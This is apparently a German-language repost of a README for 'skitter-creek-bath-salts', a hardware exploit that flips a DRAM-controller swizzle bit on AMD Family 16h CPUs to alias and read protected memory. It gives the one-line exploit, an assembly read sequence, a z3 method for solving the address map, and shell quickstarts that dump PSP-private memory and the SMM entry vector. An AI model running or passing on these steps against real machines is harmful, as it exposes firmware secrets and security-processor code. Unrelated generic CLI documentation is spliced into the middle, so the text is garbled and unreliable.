
skitter-creek-bath-salts — Updated!
Alles auf der CPU mit DRAM-Scrambling freischalten
skitter-creek-bath-salts
Alles freischalten auf der CPU mit DRAM-Scrambling — PSP, C6, Microcode, SMM und alles andere, was die Spezifikationen ausgelassen haben.
&x == &x.
Normalerweise.

Stupse den DRAM-Controller an, und eine Adresse kann dazu gebracht werden,
überall im Speicher zu landen, wo du willst. skitter-creek-bath-salts
modifiziert die untersten Schichten der Speicherhierarchie, um die physischen
DRAM-Adressübersetzungen neu zu verdrahten. Dies verwürfelt den
Plattformspeicher und legt geschützte Bereiche des DRAM offen — Carveouts, die
sogar für den Kernel unsichtbar sind. Wenn die Adressübersetzungen brechen,
brechen auch die darauf aufbauenden Sicherheitsprimitive, und wir schalten
alles frei.
TL;DR
- Schalte deinen Platform Security Processor frei
- Schalte den System Management Mode frei
- Schalte C6 DRAM frei
- Schalte deinen CPU-Microcode frei
Ziel
Entwickelt und getestet auf AMD Family 16h CPUs, der letzten Generation,
deren Datenblätter die Übersetzungsregister des DRAM-Controllers dokumentieren —
und zeigen, dass sie nicht gesperrt werden können. 17h und darüber lassen diese
Informationen einfach weg. Die Odyssee von *p ist über
Generationen und Architekturen hinweg ähnlich, und die zugrunde liegenden
Transformationen erstrecken sich sogar auf ARM, RISC-V und darüber hinaus;
skitter-creek-bath-salts zeigt uns nur, wie man beginnt.
Die Odyssee von *p
Es ist ein weiter Weg nach unten.
Speicher ist auf Schichten der Abstraktion aufgebaut, die so tief sind, dass sie
fast absurd werden. Wenn dein Code *p dereferenziert, scheint er auf den DRAM
bei p zuzugreifen. Tut er aber nicht — p ist eine virtuelle Adresse, und
bevor auch nur ein einziges Bit des DRAM berührt wird, muss sie den Spießrutenlauf
unten überstehen:```
── CPU core / MMU ─────────────────────────────────────────────────
┌─ VA ← 64-bit virtual address from load/store
│
└> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47
┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE)
│
└> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest)
hit → physical address k │
miss → engage hardware page walker │
┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss
│ PML5[VA 56:48] ← only if CR4.LA57
│ PML4[VA 47:39]
│ PDPT[VA 38:30] ← 1 GiB leaf possible
│ PD [VA 29:21] ← 2 MiB leaf possible
│ PT [VA 20:12]
│ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G
│
└> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk
privilege (U/S) │ ← CPL vs PTE.U/S
write (R/W) │ ← + CR0.WP
execute (NX) │ ← EFER.NXE
SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC
protection keys │ ← PKRU (user) · IA32_PKRS (supervisor)
┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE
│
└> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked
EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override
⇒ ~5× walks per single guest walk │
┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs
│
│ ── IOMMU (chipset / I/O fabric) ──────────────────────────────────
│
└> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables
│
┌── physical address k <─────────────────┘
│
│ ── CPU core / MMU — memory-type resolution ────────────────────────
│
└> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs
┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ]
│
└> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC }
│
── CPU uncore — caches & coherence ────────────────────────────────
│
┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core
│
└> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX
┌─ LLC probe + directory consult <────────────┘ ← shared, sliced
│
└> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast
intra-socket │ ← broadcast to peer cores
inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache
home-node directory response │ ← data | intervention | abort
│
── system data fabric / interconnect ──────────────────────────────
│
┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn
│ → device BAR; done
│
└> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore
│
┏━━ ── MCT / IMC (memory controller) ────────────────────────────────
W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM
E ┃ │
┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges
┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel
A ┃ │
R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank
E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank
┃ │
┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable
H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line
E ┃ │ rank → CS map
R ┃ │
E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only
┗━━ │
│
DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)
Dieses Projekt arbeitet auf den tiefsten Ebenen der `*p`-Pipeline, der MCT/DCT-Schicht
— wo eine physische Adresse aus dem Data Fabric/Interconnect in den Speicher-
controller eintritt und ein letztes Mal in die rohen DRAM-Koordinaten umgeschrieben wird, die
an das DIMM ausgegeben werden.
---
## DRAM verstricken
> Physische Adressen sind wirklich eher ein Vorschlag.```nasm
xor dword [0xf80c2094], 0x00400000
Das ist der Exploit. Alles davon.
Ein einzelner Bit-Flip im DRAM-Controller verdreht den unteren Teil der *p-Pipeline, und die Daten, die sich bei &x befanden, sind jetzt irgendwo mitten im Flug. Plötzlich gilt &x != &x. Jeder Mechanismus, den CPU, Firmware, Uncore und Chipsatz nutzen, um geschützten Speicher abzuschotten, sitzt oberhalb des Speichercontrollers, und keiner davon sieht, was darunter geschieht. Die Zäune schützen physische Adressen, nicht DRAM-Koordinaten; ordnet man die Koordinaten neu an, bemerken die Barrieren darüber nichts.
Doch DRAM neu zu verdrahten ist einfach. Das Bit oben ist der Bank-Swizzle-Modus im DCT, und es ist nur eines von Dutzenden, die die Adress-Remaps auf der letzten Ebene steuern – man muss sie nur anstupsen, damit alles, was darauf aufbaut, einstürzt. Der schwierigere Teil ist dann, die Plattform am Laufen zu halten, während der gesamte Systemspeicher darunter durcheinandergewirbelt wird.
Der Trick: schnell sein und DRAM nicht anfassen. Die APs deaktivieren, die TLBs vorbereiten, den Cache aufwärmen, Interrupts deaktivieren, das Ziel flushen, Speicherzugriffe serialisieren und hoffen, dass die CPU die kommenden Instruktionen vorab geladen hat. Dann den MCT/DCT neu verdrahten, um DRAM zu spaghettifizieren, einige Daten aus dem geschützten Bereich holen, die Mappings zurücksetzen, erneut serialisieren, Interrupts aktivieren, die APs fortsetzen, und die Plattform ist wieder normal.```nasm mov eax, [0xf80c2094] ; prime mmio TLB mov eax, [0x6f800000] ; prime target TLB pushf ; preserve flags cli ; interrupts off clflush [0x6f800000] ; evict the target, force the dram read mfence ; barrier - no coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target in spaghettified view xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble mfence ; barrier - no spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts back on
Mit etwas sorgfältiger Einrichtung von Paging, Cache-Zuständen, Threading und den TLBs kann das Address-Scrambling von C aus zum Laufen gebracht werden, um das Kollabieren der `*p`-Pipeline und die korrumpierte Sicht der Plattform zu veranschaulichen, wenn plötzlich `&x != &x` gilt:

So können wir die Map neu verdrahten und sie spurlos wiederherstellen. Alles, was bleibt, ist zu wissen, in was wir sie umverdrahtet haben.
---
## *Alles* entsperren
> Jeder geschützte Speicherbereich auf der Plattform, erreichbar mit einem Taschenrechner.
Mit dem obigen Ansatz können wir die MCT/DCT-Transformation auf einem laufenden System neu programmieren — indem wir die unterste Stufe der `*p`-Pipeline neu anordnen, um den Speicher unter jeder darüber aufgebauten Schutzschicht wegzusrambeln.
Aber es gibt eine Herausforderung: Während wir die Übersetzung mit einem einfachen `xor dword [0xf80c2094], 0x00400000` neu programmieren können, haben wir keine Ahnung, welche neuen Transformationen der MCT/DCT verwenden wird (die Datenblätter sind hier unterspezifiziert — die XOR-Maps sind falsch, die subtraktive MMIO-Stufe ist ungeordnet, und die Details variieren zwischen Modellen). Ohne dieses Wissen wird der Speicher zwar gescrambelt, aber wir haben keine Möglichkeit, ihn zu rekonstruieren.
Glücklicherweise ist die Adresstransformation des DRAM-Controllers eine GF(2)-lineare Abbildung, was bedeutet, dass wir den gescrambelten Speicher mit grundlegender linearer Algebra rekonstruieren können.
Betrachten wir zunächst den Normalfall: Die Vorwärtstransformation der Standard-MCT/DCT-Konfiguration wird auf eine physische Adresse angewendet, die auf einem geheimen Ort im DRAM landet:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_firmware target secret
Dies ist die kohärente Sicht auf den Speicher: Die unterste Stufe der *p-Pipeline
arbeitet genau so, wie sie sollte.
Verdrahte nun die MCT/DCT-Stufe von *p mit xor dword [0xf80c2094], 0x00400000 neu,
und die Plattform geht in eine verschlüsselte/spaghettiartige Sicht auf den Speicher über, in der
eine andere Transformation es einem Alias ermöglicht, dasselbe DRAM-Geheimnis zu erreichen:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker alias secret
Dieser Alias ermöglicht es uns, dasselbe Secret zu erreichen, ohne die bestehenden Plattform-Sperren und -Abwehrmaßnahmen zu umgehen, die für die kohärente Ansicht entwickelt wurden. Um den Alias zu finden, kombiniere die Inverse des angreifenden/spaghettifizierten Hash mit der Vorwärtsrichtung des Firmware/kohärenten Hash, um die Übersetzung zu erhalten, die jedes Secret aus der bösartigen MCT/DCT-Konfiguration erreicht:```
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘ └ ┘
M_attacker⁻¹ M_firmware target alias
Die einzige Herausforderung besteht darin, dass die Matrizen unbekannt sind, was bedeutet, dass wir keine Ahnung haben, wie der Speicher tatsächlich verschlüsselt wird, und keine Transformation zur Verfügung steht, um überhaupt zum Geheimnis zu gelangen:``` ┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias
Zum Glück ist das an diesem Punkt nur noch lineare Algebra, und man könnte die Transformationen zur Not auch von Hand lösen. Oder: mit einem Taschenrechner.
Wir verwenden [z3](https://github.com/z3prover/z3). Zuerst braucht der SMT-Solver Constraints, mit denen er arbeiten kann.
Man beginnt in der kohärenten Sicht, modifiziert das MCT/DCT, um in die spaghettifizierte Sicht zu wechseln, schreibt einen Sentinel-Wert wie `0xdeadc0de` in eine zufällige Adresse im Speicher, schaltet zurück in die kohärente Sicht und durchsucht den Speicher danach, wo der Sentinel wieder auftaucht. Das ergibt ein (Ziel-, Alias-)Paar — einen konkreten Datenpunkt, der zwei physische Adressen zeigt, die auf dieselbe Zelle im DRAM abbilden. Man wiederholt den Vorgang, sammelt eine Handvoll Daten, übergibt sie an z3, und es löst die Translationsmatrix, die benötigt wird, um zwischen den beiden Sichten umzurechnen — jede physische Adresse der kohärenten Sicht auf der einen Seite, ihr Alias in der spaghettifizierten Sicht auf der anderen:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker⁻¹ ∘ M_firmware target alias
Das Einspeisen von Alias-Paaren in z3, eines nach dem anderen, ermöglicht es uns, dem SMT-Solver dabei zuzusehen, wie er die Speicherverschlüsselung in Echtzeit entschlüsselt, wie im Eröffnungsbild gezeigt.
Die gelöste Transformation ist ein Rosetta-Stein: Jede Zieladresse in der kohärenten Ansicht wird auf einen Alias abgebildet, der denselben DRAM in der spaghettifizierten Ansicht erreicht. Um auf einen beliebigen geschützten Speicher zuzugreifen, nehmen Sie eine Adresse, die wir normalerweise nicht berühren können — PSP-privater Speicher, SMRAM, der C6-Idle-Zustand — und führen Sie sie durch die Transformation, um ihren Alias zu erhalten. Dann verdrahten Sie die DCT mit xor dword [0xf80c2094], 0x00400000 um, lesen oder schreiben Sie den Alias und schalten Sie mit einem zweiten xor zurück. Der Pfad des Alias durch die *p-Pipeline trifft niemals auf einen Zaun, den die Plattform für die kohärente Ansicht errichtet hat — uneingeschränkter Zugriff auf alles im DRAM.

Am Ende sitzt alles, was so sorgfältig abgeschottet wurde — PSP-privater Speicher, SMRAM, der C6-Idle-Zustand, unzugänglich vom OS, Ring-0, manchmal die CPU selbst —, immer noch in denselben DRAM-Kondensatoren. Aber die Schlösser wurden um die kohärente Ansicht des Speichers herum gebaut und richten nichts gegen einen spaghettifizierten Alias aus, der dieselbe Zelle erreicht.
Kippen Sie ein Bit in der letzten Ebene der *p-Pipeline, und wir haben alles entsperrt.
Schnellstart: Entsperren Sie Ihren Platform Security Processor
Manipulieren Sie Ihr PSP und sehen Sie, was passiert.
Das fTPM läuft auf dem eigenen ARM-Kern des PSP, in einem DRAM-Carveout direkt hinter dem sichtbaren Top-of-Memory. Erreichen Sie es, indem Sie eine vom OS sichtbare physische Adresse darauf aliasen, die Bytes herausziehen und disassemblieren.```sh
Bail out early on platforms this was never tested on.
./userspace/platform_check || exit 1
Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /
0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix
matches your DIMMs; one --map per saved map.
eval "$(sudo ./userspace/dram_carveouts --region psp)"
sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin
The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp
(0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.
objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE
--start-address=$((PSP_BASE + 0x19d4))
--stop-address=$((PSP_BASE + 0x19d4 + 0x64))
-D psp.bin
| `-s` | `--server` | `SERVER` | `http://localhost:8080` | Server URL |
| `-t` | `--token` | `TOKEN` | – | API token |
| `-o` | `--output` | `FILE` | stdout | Output file |
| `-f` | `--format` | `FORMAT` | `json` | Output format |
| `-v` | `--verbose` | – | `false` | Verbose output |
| `-q` | `--quiet` | – | `false` | Suppress output |
| `-h` | `--help` | – | – | Show help |
| `-V` | `--version` | – | – | Show version |
### Examples
```bash
# Basic usage
tool --server http://localhost:8080 --token abc123
# With output file
tool -s http://localhost:8080 -t abc123 -o results.json
# Verbose mode
tool -s http://localhost:8080 -t abc123 -v
# Custom format
tool -s http://localhost:8080 -t abc123 -f csv
Configuration File
Create a configuration file at ~/.config/tool/config.yaml:
server: http://localhost:8080
token: your-api-token
output: results.json
format: json
verbose: false
Environment Variables
| Variable | Description | Default |
|---|---|---|
TOOL_SERVER | Server URL | http://localhost:8080 |
TOOL_TOKEN | API token | – |
TOOL_OUTPUT | Output file | stdout |
TOOL_FORMAT | Output format | json |
TOOL_VERBOSE | Verbose output | false |
Exit Codes
| Code | Description |
|---|---|
0 | Success |
1 | General error |
2 | Invalid arguments |
3 | Connection error |
4 | Authentication error |
5 | Permission denied |
Troubleshooting
Connection refused
Ensure the server is running and accessible:
curl -I http://localhost:8080/health
Authentication failed
Verify your API token is correct and has not expired:
tool --server http://localhost:8080 --token $TOOL_TOKEN --verbose
Permission denied
Check file permissions and ensure you have write access to the output directory:
ls -la /path/to/output/
Contributing
We welcome contributions! Please follow these guidelines:
- Fork the repository
- Create a feature branch (
git checkout -b feature/amazing-feature) - Commit your changes (
git commit -m 'Add amazing feature') - Push to the branch (
git push origin feature/amazing-feature) - Open a Pull Request
License
This project is licensed under the MIT License – see the LICENSE file for details.
Acknowledgments
- Thanks to all contributors
- Inspired by similar projects
- Built with open-source tools```armasm ; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact ; from the PSP's private DRAM. 7f8019d4: b5f0 push {r4, r5, r6, r7, lr} 7f8019d6: b0e5 sub sp, #404 7f8019de: 2280 movs r2, #128 ; 1024-bit operand 7f8019e4: f7fe ffef bl 0x7f8009c6 ; import base (aA) 7f8019ee: a0eb adr r0, 0x7f801d9c ; "crAmd_ModExp aA failed, status = 0x%x" 7f8019f8: f7fe ffe5 bl 0x7f8009c6 ; import exponent (aB) 7f801a02: a0f0 adr r0, 0x7f801dc4 ; "crAmd_ModExp aB failed status = 0x%x" 7f801a18: f000 fdd4 bl 0x7f8025c4 ; the modexp itself 7f801a20: a0f2 adr r0, 0x7f801dec ; "crAmd_ModExp failed ret=0x%08x, exit" 7f801a22: f000 fef5 bl 0x7f802810 ; log error 7f801a2e: f001 e92a blx 0x7f802c84 ; export result 7f801a36: bdf0 pop {r4, r5, r6, r7, pc}
Das ist die RSA-Engine der PSP — die modexp hinter jeder fTPM-Signatur und hinter
den Miller-Rabin-Tests, die ihre Schlüssel erzeugen — aus dem Speicher gehoben, den die PSP
allein besitzen soll, am Speichercontroller abgeriegelt, selbst für
Ring-0 undurchsichtig. Ändere es, wie du es für richtig hältst.
---
## Schnellstart: System Management Mode entsperren
> *Lies, was SMM verbirgt.*
Der Einstiegsvektor des SMI-Handlers liegt bei `SMBASE + 0x8000`. `SMBASE` steht im
MSR `0xc0010111`. Lies ihn aus, hole die Bytes über die Alias-Map und leite
sie direkt in einen Disassembler:```sh
# Bail out early on platforms this was never tested on.
./userspace/platform_check || exit 1
sudo modprobe msr
# SMBASE is per-core; core 0's lives in MSR 0xc0010111.
SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111)
SMI_ENTRY=$(( SMM_BASE + 0x8000 ))
# Dump the entry vector through the alias map and disassemble on the fly.
# SMM starts in real mode, so ndisasm gets -b 16. One --map per saved map;
# printf expands the glob into a --map for each (at_swizzle, at_bankswap) combo.
sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -
| -s | --server | Server URL (default: http://localhost:8080) |
| -t | --token | API token for authentication |
| -o | --output | Output format: json, yaml, table (default: table) |
| -v | --verbose | Enable verbose output |
| -q | --quiet | Suppress non-essential output |
| --no-color | | Disable colored output |
| --timeout | | Request timeout in seconds (default: 30) |
Beispiele
# Alle Projekte auflisten
kitploit-cli projects list
# Ein bestimmtes Projekt abrufen
kitploit-cli projects get --id 12345
# Ein neues Projekt erstellen
kitploit-cli projects create --name "Mein Projekt" --description "Beschreibung"
# Projekte im JSON-Format exportieren
kitploit-cli projects list --output json > projects.json
# Mit einem benutzerdefinierten Server und Token authentifizieren
kitploit-cli --server https://api.example.com --token $API_TOKEN projects list
Konfigurationsdatei
Die CLI liest die Konfiguration aus ~/.config/kitploit/config.yaml:
server: http://localhost:8080
token: your-api-token
output: table
timeout: 30
Umgebungsvariablen überschreiben die Konfigurationsdatei:
| Variable | Beschreibung |
|---|---|
KITPLOIT_SERVER | Server-URL |
